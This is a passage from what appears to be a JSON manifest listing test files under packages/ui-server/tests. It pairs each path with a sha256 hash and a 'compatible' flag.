"packages/ui-server/tests/inbox-dispatcher.test.ts":{"sha256":"ddabb279e6bfbefbdc45a363bb715afb6b91c1557c82161353bc73366eb2524e","compatible":true}, - "packages/ui-server/tests/inbox-escalate.test.ts":{"sha256":"7bcb2504ec8762bfb323b8c5fb4db56b324d5d8df63ace973abd82f459a5aa62","compatible":true}, - "packages/ui-server/tests/inbox-intake-holds.test.ts":{"sha256":"afcd375fb86cff6070f547f997cb212b8a3128ca20fc85951f5f80186477cb0f","compatible":true}, - "packages/ui-server/tests/inbox-intake.test.ts":{"sha256":"9cc5e14bc4c2f9a975928b14985c3fe6d08881cd82247f831195af346fe9ab0f","compatible":true}, - "packages/ui-server/tests/inbox-notify.test.ts":{"sha256":"ddca2bbb48c46d213f394537ee645ab405851872d363d8a82273d6bce3ea7b96","compatible":true}, - "packages/ui-server/tests/inbox-resolve.test.ts":{"sha256":"7f17d1145502f19fdcb9fcbbcb4016144bcd2a153546306778343e27506f3ae9","compatible":true}, - "packages/ui-server/tests/inbox-runtime.test.ts":{"sha256":"372b80140c3e27c6e95d60eb3bc9fcca814937f306b27204e4641f2558eee7ce","compatible":true}, - "packages/ui-server/tests/inbox-snapshot.test.ts":{"sha256":"aedd8cb19fe032ebd9d7b45c681ccf810f01cdf7c4b1c4b83baf485af128d1dc","compatible":true}, - "packages/ui-server/tests/inbox-store.test.ts":{"sha256":"f7eefb053fe9c4acff2e99d5844f4a1dedfb94f63785b7eb0a2a4700edc360ee","compatible":true}, - "packages/ui-server/tests/inbox-stream.test.ts":{"sha256":"b3b97fedd9f0d0c36d2e000260fdbf00077a3b549e76b9b590ad74d7bc12d432","compatible":true}, - "packages/ui-server/tests/inbox-triage.test.ts":{"sha256":"8294cc5e64cf4ce6363e1241aa595ad4b5183cab64cdf19a83d8f5c5221a587f","compatible":true}, - "packages/ui-server/tests/inbox-unwind.test.ts":{"sha256":"ff77f2bb5bdabb1d43993b8c29915579119843a453387a588137de81b3492ed8","compatible":true}, - "packages/ui-server/tests/inbox-writes-offloop.test.ts":{"sha256":"c5470f5a3e085779f7a4d443971e00481a4f5afd473d104c06f6c393595031ef","compatible":true}, - "packages/ui-server/tests/index-directory.test.ts":{"sha256":"23b96a56380731b135ed95c8d40e5a45c58d6818f92c5bdc6d47473637bc7425","compatible":true}, - "packages/ui-server/tests/index-observation-cap.test.ts":{"sha256":"dc5fcd22825140780c19b68df3f1e80a51b0f15a45d7e9ab850c5c569d533d4a","compatible":true}, - "packages/ui-server/tests/index-read-barrier.test.ts":{"sha256":"b3c78235de518664cc9c4752378924e455495cee92ab13a2633fee5d5c06af00","compatible":true}, - "packages/ui-server/tests/index-update-receipt.test.ts":{"sha256":"ea7806b00223ee4610b4fe5d7be389c92bdee6da3e2c2fc95cc7c427a0b7b5fd","compatible":true}, - "packages/ui-server/tests/ingestion-taint.test.ts":{"sha256":"422bcf2414b0e10dfb68a5e8c2356b50cb320c49ebe3a58832862d22604b232e","compatible":true}, - "packages/ui-server/tests/integration/brain-db-schema-contract.test.ts":{"sha256":"9e2e9b37099c3d586cfdb480b0aca7770521c35e3aad9f0956212a6a8b23b122","compatible":true}, - "packages/ui-server/tests/integration/inbox-bridge-host.test.ts":{"sha256":"4cb47dbdbd77efebb40856417d25caf69f3190ea27f2b35edf6f5af883d843d9","compatible":true}, - "packages/ui-server/tests/integration/inbox-dispatch-app.test.ts":{"sha256":"8b402ed50e3242199c7ff317fba641679255666186300c5d0d1b3b776d4c318c","compatible":true}, - "packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts":{"sha256":"8786736559d078b1ba7f00e4891e33b7c00f6ae7e465807389a473e45c5ad5ff","compatible":true}, - "packages/ui-server/tests/integration/inbox-socket.test.ts":{"sha256":"4f8b59c22b380953d062729ffa006e4bad2c84abc21893e7117be43922327823","compatible":true}, - "packages/ui-server/tests/integration/real-socket-answers.test.ts":{"sha256":"f684adcd999b33f24ea5f2c58bbd0e1266cdf7531bcf5c2edfb4308c7ef14e29","compatible":true}, - "packages/ui-server/tests/integration/real-socket.test.ts":{"sha256":"e2fd7985971a7d8acfe5a4923bcface249c0ce3e4170f3acf1261508655d8174","compatible":true}, - "packages/ui-server/tests/interactive-share.test.ts":{"sha256":"68821430d38ff1b9043b2aadb1f0e763f591c2862742d8f80ab8e5664a7a5b10","compatible":true}, - "packages/ui-server/tests/jev-probe-concurrency.test.ts":{"sha256":"3569b102a94d54f1787fd1a1db9aaf491ef6d27fddca4400e006dfb4b8672efb","compatible":true}, - "packages/ui-server/tests/jobs-board-defaults-http.test.ts":{"sha256":"9017361e5b9d4de672a4ecb7cdc3387b73053a9244a68f7a18662f5a95019213","compatible":true}, - "packages/ui-server/tests/jobs-board-selection-http.test.ts":{"sha256":"3a9e6f7b04d32724b6df5904b82744b4920c4fabdc4b24735c43278e00208d22","compatible":true}, - "packages/ui-server/tests/journal-accounting.test.ts":{"sha256":"069b3c2f56ff0ff7b9ff07787e80d5c1038cd767d3eaac5acf810f3bad8cab9a","compatible":true}, - "packages/ui-server/tests/journal-activity-compatibility.test.ts":{"sha256":"4f75d7a4f5aab26738b01bd1e731c1b15a660c6776c7311a0f60f196f3370cda","compatible":true}, - "packages/ui-server/tests/journal-code-receipt-upgrade.test.ts":{"sha256":"cf8d5c14beb49609488cedfc65d5098cee9daceb5c1fbff59e0bfa02a3d90ed8","compatible":true}, - "packages/ui-server/tests/journal-database.test.ts":{"sha256":"a4e6c8aafbd29fd33d9864f417adc08711ad766321aa94f5dc612cc17988e9d1","compatible":true}, - "packages/ui-server/tests/journal-directory.test.ts":{"sha256":"38963a4d94637fc23f5416012a3fc25c6f4f2cbfd6b92b51c8d5d7a116fbc505","compatible":true}, - "packages/ui-server/tests/journal-idle-maintenance.test.ts":{"sha256":"a7539c7b6c3b09f34637275d8f91f9f2d67cddd5b27b8bcaa2263a3a645ec02f","compatible":true}, - "packages/ui-server/tests/journal-index-exclusion.test.ts":{"sha256":"4c52d2cc38b09dae5248c40a3c976a7773e439780b1550d4e6e203453ce3653b","compatible":true}, - "packages/ui-server/tests/journal-index-metadata-only.test.ts":{"sha256":"33b902117f509941146a1a3ce0526fe1100c5d0cc580fa06a298f960dd0e8d45","compatible":true}, - "packages/ui-server/tests/journal-index-purge.test.ts":{"sha256":"ddd5b9010f239788afcaeef174e946927fa0f965050a33465ddbc5bf1c26090e","compatible":true}, - "packages/ui-server/tests/journal-kept-files.test.ts":{"sha256":"423746513b6a50386bda4931ef04e2fe60f988b92c5a50a6e0f0991e0ed83a04","compatible":true}, - "packages/ui-server/tests/journal-ledger.test.ts":{"sha256":"71177b87ac9a738ec4a0f0626bc60d953ba0f4392a41deaaa7b0a51e2c6837bd","compatible":true}, - "packages/ui-server/tests/journal-object-index.test.ts":{"sha256":"25038c4609041d565c29cd2273ed6f848acfbe844aa197a9812a907ae9c11559","compatible":true}, - "packages/ui-server/tests/journal-objects-async.test.ts":{"sha256":"502a3840d5db5773fc38f74a9409bb4a80a8c9fb6fbac393a828c0ce5b53f9b5","compatible":true}, - "packages/ui-server/tests/journal-objects.test.ts":{"sha256":"9cdea33c2d784f792b9492fcf9d9d29aae5c3e5cfb670ed6e474706e9d93a79a","compatible":true}, - "packages/ui-server/tests/journal-observation-batch.test.ts":{"sha256":"4a9f842f2a49e392731ee34215e8a1fccab09872dfe8d9e99dff191800a0239e","compatible":true}, - "packages/ui-server/tests/journal-observation-counters.test.ts":{"sha256":"d244d5d6c11b62263279eca3b37ac1e14f00f6529d7bd844ef05af80057abaf0","compatible":true}, - "packages/ui-server/tests/journal-observation-trace.test.ts":{"sha256":"a665f5e8a74003dd868ba29f260e634b6837c4a41c680d5a575195b10de9e5c2","compatible":true}, - "packages/ui-server/tests/journal-reference-cleanup.test.ts":{"sha256":"eb07fdb95b92bfbb7a395a985b29ef2f067dd7a478eea92a0df2f7f5ba95ac5e","compatible":true}, - "packages/ui-server/tests/journal-scrub-upgrade.test.ts":{"sha256":"efe25d1ca1f66e4e9f4c89e034d2556ed7c23350c50c3229d4932531d0893dba","compatible":true}, - "packages/ui-server/tests/journal-scrub.test.ts":{"sha256":"c74a2fa95e91d993fb3569b59c9a9a395c8f87cf2dbb2016bb9653e6d03e2e35","compatible":true}, - "packages/ui-server/tests/journal-snapshot.test.ts":{"sha256":"de6ad26ee4cbcd98be2bd279d462a7d01d4d4fcd47124aef3b44b456959e65d7","compatible":true}, - "packages/ui-server/tests/journal-write-worker.test.ts":{"sha256":"cf5d4b3b674a6cc437154a89f5d088cb585e20392eb6388e7a29e6653117eafd","compatible":true}, - "packages/ui-server/tests/journal-writer-delta.test.ts":{"sha256":"1121cd8476df93bca97c858c012a39080432d31136c2dfc1b33e2a4b2335d64f","compatible":true}, - "packages/ui-server/tests/json-lines.test.ts":{"sha256":"209db52efebc7bba430dd67a83734453de9c57f3814a5b48184dfd7e94c70ffc","compatible":true}, - "packages/ui-server/tests/keyterm-builder.test.ts":{"sha256":"db4cdcd3426af324ba6393338000c52f22200a57df0d0f65d0075c2539582e37","compatible":true}, - "packages/ui-server/tests/lifecycle-wire-compatibility.test.ts":{"sha256":"7cffd44ee27aef3fde254fc128c401b809b16ff68c5e5dcd30f115063a629dc3","compatible":true}, - "packages/ui-server/tests/live-conversation-helper.test.ts":{"sha256":"6a52b77535914939e6fa6713fc6b9bcb0b6ea65e5cd6470086be7e1768404431","compatible":true}, - "packages/ui-server/tests/live-history-adapters.test.ts":{"sha256":"34e2ed51a23fd74d27fbd634bc430c010697008532a0dc3bf83eb6b93d8891b0","compatible":true}, - "packages/ui-server/tests/live-history-order.test.ts":{"sha256":"82486c28bcb7bb85d70bb6c3658bcd48f6bd4d3e9227fae4f46a010b3c8fd384","compatible":true}, - "packages/ui-server/tests/live-history-source.test.ts":{"sha256":"85bb9ea5f14839c7bd95d43b119b41e2377fe5c8cf3a39d5594ef15562a1679e","compatible":true}, - "packages/ui-server/tests/live-history-track.test.ts":{"sha256":"9cae1a1c057eb46f0f94f711ee0fc9b11b97d778d59e89748be6dcf81eff550c","compatible":true}, - "packages/ui-server/tests/live-persona-adapters.test.ts":{"sha256":"dabf6a011584c4bab4bee3d581f5bb9ea64094451708fa687ecb65dc564f40de","compatible":true}, - "packages/ui-server/tests/live-persona-host.test.ts":{"sha256":"1925fdb19df4c7f6edcd36bcc9ab4d2f6203e96a473e8cc18ed11e708be6df54","compatible":true}, - "packages/ui-server/tests/live-personas.test.ts":{"sha256":"bb13f48b72fbd86bad21ea04b34b46a9c0801f867ddf85a6eb9ca8c729828a65","compatible":true}, - "packages/ui-server/tests/live-provider-selection.test.ts":{"sha256":"2722012885078a193add52bb6ea28fb622e838130aa48fa8649ffac228673f5e","compatible":true}, - "packages/ui-server/tests/live-safety-admission.test.ts":{"sha256":"c71b54de126fb0213b846b942973e1976d862fa7693e1347ffcd7de61f4a25be","compatible":true}, - "packages/ui-server/tests/maintenance-cancellation-cleanup.test.ts":{"sha256":"2b2deffb9e098d3e6bfbbd5d20032219537962eb0fcac469d6f38bf92d4b3ea2","compatible":true}, - "packages/ui-server/tests/maintenance-cron-publication.test.ts":{"sha256":"f003534b61a3197ba1dbb3764a8cfb916d7b8574e7fe543fd739efb051cc58a9","compatible":true}, - "packages/ui-server/tests/maintenance-git-publication-scope.test.ts":{"sha256":"7ce0e86cf9dcd4429550505ca0b854bae214e58cc0e39fc18da641f9f3c3db99","compatible":true}, - "packages/ui-server/tests/maintenance-git-publication.test.ts":{"sha256":"96b7198abfe8cf849978cb26926a9491c4f7256c1ae1c5dd4c3f23b91369bbf1","compatible":true}, - "packages/ui-server/tests/maintenance-git-runtime-path.test.ts":{"sha256":"1564a87e8aa3a74e5dd65817eb09b9b2b36c6abf7751ffdeb52b076c520d9ecf","compatible":true}, - "packages/ui-server/tests/maintenance-git-source.test.ts":{"sha256":"755813862d895ea249221cce4d042d1ac1c7362446fa161515799c97cd9490f7","compatible":true}, - "packages/ui-server/tests/maintenance-git-space.test.ts":{"sha256":"1f6409b63b453062ef8456b9b2ce61b654dbcdb7f1ec5fc26d02c510acccefc8","compatible":true}, - "packages/ui-server/tests/maintenance-git-targets.test.ts":{"sha256":"0617123179838c59972d2a0dcd8479fe970935ee0da3cd9b0f49a223ff6328ff","compatible":false}, - "packages/ui-server/tests/maintenance-launch-release.test.ts":{"sha256":"f9217314edd0890466c202c83bc6e0d77af529249989bffb10989bdc63beed80","compatible":true}, - "packages/ui-server/tests/maintenance-module-github-relay.test.ts":{"sha256":"44679a159f6f96602a505478c3f3d3af0a14a0b8447bc41aebe2026c64d0b8a3","compatible":true}, - "packages/ui-server/tests/maintenance-probe-admission.test.ts":{"sha256":"787bf655a9ff8695a1915e67272943eb207fc66284cbe442af1a595d09d02405","compatible":true}, - "packages/ui-server/tests/maintenance-provider-relay.test.ts":{"sha256":"6a6c2e8348f42ab209f376b898c0f6944c68ff27b8d98aeaaebf0d299d0f6555","compatible":true}, - "packages/ui-server/tests/maintenance-startup-view.test.ts":{"sha256":"abd58aafee28ee73c8ecd299b3ce954b7f41c4cf9d048fde8a0166cdbd5417b0","compatible":true}, - "packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts":{"sha256":"7e754734fa020fbc65c313c6030b61ab5d4e30c53adb0cb32617c92fe60ac87a","compatible":true}, - "packages/ui-server/tests/maintenance-temp-boundary.test.ts":{"sha256":"c84c2469dccaa36b36827951eca9dae0e54c038eaae2a50c844fb587357393db","compatible":true}, - "packages/ui-server/tests/maintenance-temp-config.test.ts":{"sha256":"6494633c2afa966038c7b7117dcbd5b496b434e1c0bccebf48cf35b559733fe3","compatible":true}, - "packages/ui-server/tests/maintenance-temp-schedule.test.ts":{"sha256":"7f4bdf8ddda168c4ab20330481153a6eaddf740ec03874fc4ebf7c0b22349de8","compatible":true}, - "packages/ui-server/tests/maintenance-wire-compatibility.test.ts":{"sha256":"3b2f1bd8432c6b4c35beb21e1f5e9979eff20f45139d3855c68c79c6c66afbf9","compatible":true}, - "packages/ui-server/tests/markup-bridge.test.ts":{"sha256":"229a701eb962be1a73863142361f167291df297b6e9500b10c92b2e9f9ef2579","compatible":true}, - "packages/ui-server/tests/markup-route.test.ts":{"sha256":"dd4461bf9d4116f0626c908c28410d0b83a76054f967173896106fa262afd966","compatible":true}, - "packages/ui-server/tests/media-review-flow.test.ts":{"sha256":"514e02a0daab6ed1233813f2fcb09d084fc73a5b4bae80350cd8ed64d5d8a583","compatible":true}, - "packages/ui-server/tests/model-pricing.test.ts":{"sha256":"cca158f7132004689a62d8cce6165f5fe57508215d9388aca3435f984fb93712","compatible":true}, - "packages/ui-server/tests/models-routes.test.ts":{"sha256":"1055cae22d1076e345f75a130791b53894a0263b272e49d259c90f6758de7af1","compatible":true}, - "packages/ui-server/tests/module-github-relay.test.ts":{"sha256":"16bdf82ac03bae20e023067c89cc4a400693afc36f3e0dfb62bd580fd2382594","compatible":true}, - "packages/ui-server/tests/module-repositories.test.ts":{"sha256":"133e8e67012a06f2a36f583fa5f8f3a16f49aab06e8de9077bc9737c154b2512","compatible":true}, - "packages/ui-server/tests/module-settings-http.test.ts":{"sha256":"0920193b8c79aaea0206b13e7891520e8e9d08d9bed04a8c5067b34ef0fd91ec","compatible":true}, - "packages/ui-server/tests/native-app-fixture.test.ts":{"sha256":"387374fdb7871cea132ca719645dc2568ec013eec3eb22565ea1b6d0604995cc","compatible":true}, - "packages/ui-server/tests/native-brain-leases.test.ts":{"sha256":"6e442f5c990c521d542f00dd8a18417e47f75aad1c30fe4e4fb26a0de3eef303","compatible":false}, - "packages/ui-server/tests/native-history-removal.test.ts":{"sha256":"2f36612b82ac8a77b3ae53fd4257c2ef4fa2434ebbd40ed8779efa1c31652428","compatible":true}, - "packages/ui-server/tests/native-host-inputs.test.ts":{"sha256":"255644b92fcb51f49572e97743707e0aeed93faa832f9a7dbcc84da77d674cf1","compatible":true}, - "packages/ui-server/tests/native-journal-fixture.test.ts":{"sha256":"95e14ded6f75d71cbfc75420417b2b1b158bdbbd5e0e79f46f9a535e19b2e027","compatible":true}, - "packages/ui-server/tests/native-journal-observer.test.ts":{"sha256":"039161ea0bb43dae0b946be214b4ef2dcf26380b5fba532777657c77d1467f65","compatible":true}, - "packages/ui-server/tests/native-journal-policy.test.ts":{"sha256":"bf35aab0f1bdf94bf6415bf602edcca8141aaa50d53b6dd4fcd5a53eaec8e75c","compatible":true}, - "packages/ui-server/tests/native-journal-private-batch.test.ts":{"sha256":"4e9c513b2df101140e7bea3ace820036c9eebabf32f72306f1399dffb66bca2a","compatible":false}, - "packages/ui-server/tests/native-journal-read.test.ts":{"sha256":"43fd004c05f8b2b11aaaf4f7903249d42c8ddb279e142aa6b4e14dbc1bcde088","compatible":true}, - "packages/ui-server/tests/native-journal-steering.test.ts":{"sha256":"7f5605b52462a86115a5407e327a971b6bc8d1517a01100464fc2da7435b755c","compatible":true}, - "packages/ui-server/tests/native-startup-releases.test.ts":{"sha256":"599842dcf17665e93535d898aa06d507bc56e2912ac08b4dcdbc9c8dc1ca44e2","compatible":true}, - "packages/ui-server/tests/native-suite-fixture.test.ts":{"sha256":"022b8c916754efcd11728298652461280ca537e3580ce215a40df97296b6a7b6","compatible":true}, - "packages/ui-server/tests/native-worker-startup-order.test.ts":{"sha256":"7ab4841d023b182263e7ecc9db2c3d5e72f30108bc59329898f44eab01ecfafb","compatible":true}, - "packages/ui-server/tests/no-console.test.ts":{"sha256":"1c44b89a5a4f2cd47473195eb6d3992649ba888af2be4390a7228640e43600f4","compatible":true}, - "packages/ui-server/tests/notify-offloop.test.ts":{"sha256":"d3464c9fd4422f27986c780b78a6fd59529c62671a48183515c64ea7cd963b9c","compatible":true}, - "packages/ui-server/tests/observability.test.ts":{"sha256":"ba8553205702c5a083e2327fedee3ec6ae0120644b975e84747df8353ace9cb4","compatible":true}, - "packages/ui-server/tests/observation-holds.test.ts":{"sha256":"4f0f6765560d0e4d8eebf77c3ed49984f4521b9d7ec88c224ac25042989eaf33","compatible":true}, - "packages/ui-server/tests/operational-state-boot-admission.test.ts":{"sha256":"8d3bba4d25e40984c2de9c92230ae740bc051349944802f01ca0ace8be5cc029","compatible":true}, - "packages/ui-server/tests/operational-state-layout.test.ts":{"sha256":"adb9183842148f85436677a8e42c5dd48a4bf8ebb3b348557c3bd4ce3a74afc3","compatible":true}, - "packages/ui-server/tests/operational-state-precedence.test.ts":{"sha256":"d004f688614718192b449a5c9d1ff9877771028c2650fbd89c7ce917323efd40","compatible":true}, - "packages/ui-server/tests/operational-state-race.test.ts":{"sha256":"baa6914374d298fe1f3f05506f275d762d666806e1e413c5ac101e7d6a7efb7f","compatible":true}, - "packages/ui-server/tests/origin-policy.test.ts":{"sha256":"0db403e81fc85248e7f2ba368dcfdf7d9f7678153a5f3b9a770130b9289966a5","compatible":true}, - "packages/ui-server/tests/origin-trust.test.ts":{"sha256":"b6f1321c7f3631928adcdc69ea939b6e545dc64868c7a0a8a0cc47a7dcd7942b","compatible":true}, - "packages/ui-server/tests/outward-governance.test.ts":{"sha256":"cc10bf273193ed58f77f91d86ff163b851edcbe72c3d0306823cff54920b26d8","compatible":true}, - "packages/ui-server/tests/owner-safety-review.test.ts":{"sha256":"8cbd6bb2d426051b1bc8815cabb67edecca0ed8290c3ae8ea53051af052f6c38","compatible":true}, - "packages/ui-server/tests/passkeys.test.ts":{"sha256":"f5b865ff40173ed44271a5e037ef2dd0fa142947b06636bb3d68463696578eae","compatible":true}, - "packages/ui-server/tests/pi-auth-real-package.test.ts":{"sha256":"78f4f36a82356d8baa069bf4bd3abe2ffe047a3b83d293702927ad4919deaee1","compatible":true}, - "packages/ui-server/tests/pi-auth-routes.test.ts":{"sha256":"f98562e8f45f009b3740166f36201c0f6e0c5cee879f55f5a7a3454f307ed20d","compatible":true}, - "packages/ui-server/tests/pi-strict-edit-host-apply.test.ts":{"sha256":"7e7552b80ac789fad07e63029612efd0cc0c15d46b0165c64561ee20ccc7945e","compatible":true}, - "packages/ui-server/tests/pill-label-runs.test.ts":{"sha256":"b0a59a8b35e61928b88a011287da9699389fcc6d82926cd1ea454564d39edb6a","compatible":true}, - "packages/ui-server/tests/pill-labeller.test.ts":{"sha256":"fc4559c7dd750f0d717c7f35551d673c0e758cf8d020c9b55c65b4c6a5c2b478","compatible":true}, - "packages/ui-server/tests/policy-command-governance.test.ts":{"sha256":"333637d8722a772b1d6d0c7bd25a1e4b6acb1dcb5ce4015b93e12dbb7b2fa5b0","compatible":true}, - "packages/ui-server/tests/policy-observation-pause.test.ts":{"sha256":"0a3f74d2e092e3fc3e270757f9955b3c682e622b2ec605c75e786abed6c3dd9c","compatible":true}, - "packages/ui-server/tests/policy-proposal-read.test.ts":{"sha256":"1055379ea7563075f33d42228fbfc0302b98ec27a01cf64922a4ac10f27de949","compatible":true}, - "packages/ui-server/tests/policy-proposal.test.ts":{"sha256":"4797515421da534a712e70018c6122b8fbe838de5029ad10093d6b1ab96a7d19","compatible":true}, - "packages/ui-server/tests/principal-routes.test.ts":{"sha256":"729f7be442bfd3729de721816786586d09a9345cf27cd0ddc13650e86677d32c","compatible":true}, - "packages/ui-server/tests/principal-writes-offloop.test.ts":{"sha256":"eb0ed5873545270ac6b4b5abe69394fb0560381c009a1f88729ad40c66dab85c","compatible":true}, - "packages/ui-server/tests/principals.test.ts":{"sha256":"2b089a354291d21c48c90776b279894ad5d14a1dd622c8c8c874f95e774510e2","compatible":true}, - "packages/ui-server/tests/private-index-cache.test.ts":{"sha256":"1a9f8c7af0215ebb83e90c6c7e7f17b0bc620b47e1a93b392c6c72588447e587","compatible":true}, - "packages/ui-server/tests/private-index-stdio-release.test.ts":{"sha256":"00aa572d867fa089da00c07c1b9993b750076c3c4de1bceb1b182457c1a0ae84","compatible":true}, - "packages/ui-server/tests/private-index.test.ts":{"sha256":"b4379dae5f7226bb70c3985bc518e47b5dfbe603ac36276b2e550aaf28928a20","compatible":true}, - "packages/ui-server/tests/protected-host-writers.test.ts":{"sha256":"1ca3f979df24f897fb04f95e879066c1f762e62c5215a3b6c923d45ceced708c","compatible":true}, - "packages/ui-server/tests/provider-allowed-route.test.ts":{"sha256":"d60ccac00b004e01be0133edde40a083cc3fa458bbf5cb5b3eea55d23301e021","compatible":true}, - "packages/ui-server/tests/provider-continuation-state.test.ts":{"sha256":"5cdff6bac7e9e55f26b1632c2df7fd9925bf910b1b2eec1ef190e25c392ba4d4","compatible":true}, - "packages/ui-server/tests/provider-continuation.test.ts":{"sha256":"d4d9ee6f5bf2e7b747822b4057f640a6c8791f4e1b3b45131cd1b4cd8d7608e6","compatible":true}, - "packages/ui-server/tests/provider-hardlinks.test.ts":{"sha256":"89411cc37ef2e774e9e42dd1bd36aa639f7183a13b40f71e7bedfaf2921c649a","compatible":true}, - "packages/ui-server/tests/provider-mask-bridge.test.ts":{"sha256":"2008b3ffcd1d453f40c6d490174dae2439dd385118f5b9b4b827546eac26626b","compatible":true}, - "packages/ui-server/tests/provider-mask-refusal.test.ts":{"sha256":"4355a5a1c4b167be3c13b681a305162a8a3104934e308a0bcce119f0dac60faf","compatible":true}, - "packages/ui-server/tests/provider-recipient-session.test.ts":{"sha256":"9f846be7a950753ccb9902175a048d6d14298ed4eb22e4b7af4f88cb19e8afe2","compatible":true}, - "packages/ui-server/tests/provider-recipients.test.ts":{"sha256":"0d58dc5868a6022560f2d759fbeb98aac9431b9b411fdaf8f74c1e66badeb171","compatible":true}, - "packages/ui-server/tests/provider-relay-budgets.test.ts":{"sha256":"371a284751bd872f9acd5a427ad5e61ee27f33266cc9fda78adfb32b66f9886e","compatible":true}, - "packages/ui-server/tests/provider-relay-taint.test.ts":{"sha256":"64a6ee6f41b3c5e6e40e20f457d6f60a34e71458011b691352b5f6868fd2ffa1","compatible":true}, - "packages/ui-server/tests/provider-types.test.ts":{"sha256":"5387576f32d6dea45ea2338fbb910181edd29aba0c6b5171ee77621972ae2f62","compatible":true}, - "packages/ui-server/tests/provider-unavailable.test.ts":{"sha256":"a2f9defd94d9bd66c31187b399d73de9396a9f7783529d08de70b7dbc48cd8be","compatible":true}, - "packages/ui-server/tests/push-drain.test.ts":{"sha256":"74a1a751b802cad27628a170cf4d5f50b3477f89a2b171c4fd4b3b3fd70b2aae","compatible":true}, - "packages/ui-server/tests/push.test.ts":{"sha256":"e90967b91d7c5ee17314e37a40c52d158b3afa6a63facb4b84f619cde104d9c1","compatible":true}, - "packages/ui-server/tests/qualified-identity-helper.test.ts":{"sha256":"4b255098284f4c7fd321bfb9037c047355842c7d3e5eb8a198f3b97095f82789","compatible":true}, - "packages/ui-server/tests/reference-blob.test.ts":{"sha256":"bcf9ef3f4e15749148294925cc663cf5d08c128681494e5eab7a406e145a8b04","compatible":true}, - "packages/ui-server/tests/reference-egress.test.ts":{"sha256":"faaa39f19530eb5ee1427feb63d3ae12ecb56e84ec2a1a553e4557db37546e91","compatible":true}, - "packages/ui-server/tests/reference-grants.test.ts":{"sha256":"d06a63ff44aecf1dcd491b058edd1389eaafd02e830d6490f3ab9d34f7e54edd","compatible":true}, - "packages/ui-server/tests/reference-maintenance-admission.test.ts":{"sha256":"f4202d205b34950d1f83ab71eb36ccf96efb93b746362517017fa58fb678903e","compatible":true}, - "packages/ui-server/tests/reference-owner-lifecycle.test.ts":{"sha256":"6ff9c7895b3dbd4f613c3319caa6ad8649433adcec96d4482ca17cb83d6f7eec","compatible":true}, - "packages/ui-server/tests/reference-owner-native-root.test.ts":{"sha256":"24bc236b6082900417cdf168a6cd7c72d719978134ea19973c0033a90cc39693","compatible":true}, - "packages/ui-server/tests/reference-owner-resolution.test.ts":{"sha256":"07f96d5af9e1aff0d5f67850b86b59ea2ddc2322c8fbd969d17e7b927846e841","compatible":true}, - "packages/ui-server/tests/reference-read.test.ts":{"sha256":"a234e843d7336811857ac1bf7dd08f7a90d31f4d896bcad9f66f5f5897b4644f","compatible":true}, - "packages/ui-server/tests/reference-ref-validation.test.ts":{"sha256":"c73ecb3af0664629d989ab825c7f73489e82a9790893496164fe88d51e4b1ebc","compatible":true}, - "packages/ui-server/tests/reference-source-authority.test.ts":{"sha256":"0eead147267136fd11ab003cf062d0d9bd3582284a58a2f3bc8ab1b3880ae9c6","compatible":true}, - "packages/ui-server/tests/reference-source-managed.test.ts":{"sha256":"ba426532423db7d5c881406f0ab91206508358dd157511a63226eb7269d11435","compatible":true}, - "packages/ui-server/tests/reference-source.test.ts":{"sha256":"95fcd58c7cd378316797c6d5f99e63c5a53708c0037144b1dc78b1bbf3c02fa8","compatible":true}, - "packages/ui-server/tests/reference-tools.test.ts":{"sha256":"bd3eaffd93a1232a02d577a1e5a672876736662a7957d83ce1b722ca1f984753","compatible":true}, - "packages/ui-server/tests/reference-transport.test.ts":{"sha256":"ad11428842783beddeae02fafeecb23f2eef8996ed36ff805ceaf346dc24d48d","compatible":true}, - "packages/ui-server/tests/reference-wire-binding.test.ts":{"sha256":"6615b162ef42da42aaeb7a93964ca6f5345715342ce65687dba9497995878422","compatible":true}, - "packages/ui-server/tests/reference-worktree-hygiene.test.ts":{"sha256":"f6239f3fd41147eb24f92c4d1d54ab992faa9d6f9ee591126a2c67afa4f2f1dd","compatible":true}, - "packages/ui-server/tests/reference-worktree-journal.test.ts":{"sha256":"c31a9b011bef57db0aab1b33bdb8162d4a5c56309b0ed2fb67d628af8ccda173","compatible":true}, - "packages/ui-server/tests/reference-worktrees.test.ts":{"sha256":"df3731d455d690ca51db56cd36b6940cd9feff1548466502db25858155af39fd","compatible":true}, - "packages/ui-server/tests/reference-writes-offloop.test.ts":{"sha256":"7cadf8e4c41c94940d455b2b18bee9a1c1a1512c1d78146bffc1d52bd6412df8","compatible":true}, - "packages/ui-server/tests/relay-recording-settlement.test.ts":{"sha256":"e2397f7f00ad8d24c74fdabb63ce0315f41ce97cad0cab149c79cb7155160491","compatible":true}, - "packages/ui-server/tests/relay-session-binding.test.ts":{"sha256":"2cd8ccf1682f522a3ed52a3cf39936de543e0bb0cdb991191952966dace89149","compatible":true}, - "packages/ui-server/tests/render-routes.test.ts":{"sha256":"b784a8e08fbdf247970e7fec3b9d39090f821699fc420a7e74984966e68ff5b2","compatible":true}, - "packages/ui-server/tests/renderer-bootstrap-contract.test.ts":{"sha256":"4d37bd78e1831f27cdc4a83863d41177949934297ca8351fbb6ef8e4aabf46da","compatible":true}, - "packages/ui-server/tests/resource-limit-governance.test.ts":{"sha256":"4e376c6573ada308a04b9c2825769d6140c00dee396d40738449979da48c09b5","compatible":true}, - "packages/ui-server/tests/retry-proposal-offloop.test.ts":{"sha256":"a22fadbf23c0c165f52da89d2c2ce0f95e396ebb2074eda4b6d8e86705599827","compatible":true}, - "packages/ui-server/tests/revert-files.test.ts":{"sha256":"9797f8363909cae393943b9f171f60ddbabc6801d345c43c8a9d75ca92833640","compatible":true}, - "packages/ui-server/tests/revert-gate.test.ts":{"sha256":"b5d1b9d7df08c9b869aa5ce4ae0d864f266ac9f4ce6cbdf118e43920613975fa","compatible":true}, - "packages/ui-server/tests/routes-activity.test.ts":{"sha256":"afd2d27b28682e24d12349a47d66459d9fbdf93ce653e7bf7ebca4b7cca248cc","compatible":true}, - "packages/ui-server/tests/run-session.test.ts":{"sha256":"b6d4edbcc758d532b1b6204c2970ce704571ec7b57a29cce0c005b4995887e6f","compatible":true}, - "packages/ui-server/tests/runtime-boot.test.ts":{"sha256":"080dd143993e6942ab98798e8b8d5846a27cc9fa427d6e36339e7aad1303ae0f","compatible":true}, - "packages/ui-server/tests/runtime-record.test.ts":{"sha256":"4417b1fccb119bcddbbf140b42783dd020c521418f15640dc6ab79e2883b0062","compatible":true}, - 